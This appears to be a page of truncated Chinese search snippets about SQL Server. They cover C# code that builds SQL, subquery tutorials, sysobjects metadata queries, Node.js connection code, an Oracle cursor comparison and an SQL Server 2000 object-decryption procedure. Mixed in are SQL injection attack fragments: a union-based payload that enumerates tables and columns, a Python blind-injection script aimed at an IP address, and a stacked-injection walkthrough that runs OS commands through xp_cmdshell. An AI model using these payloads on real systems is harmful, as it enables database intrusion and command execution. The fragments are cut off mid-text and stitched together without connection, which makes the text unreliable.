if (T_BD_STOCKFLEXITEM != null&& T_BD_STOCKFLEXITEM.Rows.Count>0) { foreach (DataRow item in T_BD_STOCKFLEXITEM.Rows) { string FFLEXNUMBER_SQL = $"SELECT V{item["FFLEXNUMBER"].ToString()}.FNAME FROM T_BAS_FLEXV
select '平均成绩', (select AVG(english) from Score) --可以成功执行 select '姓名', (select sName from student) --错误,因为‘姓名’只有一行,而子表中姓名有多行 select * from student where sClassId in(select cid from Class where cName IN('高一一班','高二一班')) --子查询有多值时使用...
union all select1,(select top1name from test.dbo.sysobjects where xtype='U'and name notin('emalis')),3--+ 25.png 爆列名: 代码语言:javascript 代码运行次数:0 运行 AI代码解释 union select1,(select top1name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where nam...
ifexists(select*fromdbo.sysobjectswhereid=object_id(N’[dbo].[函数名称]’)andxtypein(N’FN’, N’IF’, N’TF’))beginprint'函数名称--存在'end 七、获取用户自定义对象信息 SELECT[name]as[对象名称],[id]as[对象编号], crdateas[对象创建时间]FROMsysobjectswherextype=’U’/*xtype 参数类型...
query("SELECT * FROM t_user", function (err, recordset) { if (err) { console.log(err); return; } else { console.log(recordset); } conn.close(); }); }); } // 查询所有的用户信息 getAllUsers(); 在Viusal Studio Code中运行结果截图如下图所示: 使用tedious连接SQLServer数据库 Node ...
import requests import json import time url = 'http://192.168.2.244/index.aspx?user_id=' flag = '' for i in range(1,250): low = 32 high = 128 mid = (low+high)//2 while(low<high): payload = url + "1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),%d...
removeListener(event, globalConnectionHandlers[event][i]); } } // attach error handler to prevent process crash in case of error // @ts-ignore this this.on('error', err => { if (globalConnectionHandlers.error) { for (let i = 0, l = globalConnectionHandlers.error.length; i < l; ...
根据sql语句进行构造前缀闭合select查询进行堆叠注入 payload前缀为1))) as km FROM locations;使用xp_cmdshell执行命令并查询回显,首先需要创建一个表,将执行的命令结果写入表中,再读取表的字段内容来获得回显。第一步创建一个表名为A_CMD用于存储执行的命令,payload为2))) as km FROM locations;create TABLE A_...
selectset存储过程函数int --破解函数,过程,触发器,视图.仅限于SQLSERVER2000 IF EXISTS (select 1 from dbo.sysobjects where id = object_id(N'[dbo].[SP_DECRYPT]') and OBJECTPROPERTY(id, N'IsProcedure') = 1) drop procedure [dbo].[SP_DECRYPT] GO CREATE PROCEDURE sp_decrypt(@objectname varc...
if tableA_count=tableB_count then for C_cursor in C_tableA loop select * from A where exists (selcet 1 from B where A.column1=B.column1 and A.column2=B.column2...) and A.column1=C_cursor.column1 and ..; if SQL%NOTFOUND dbms_output.put_line("2个表...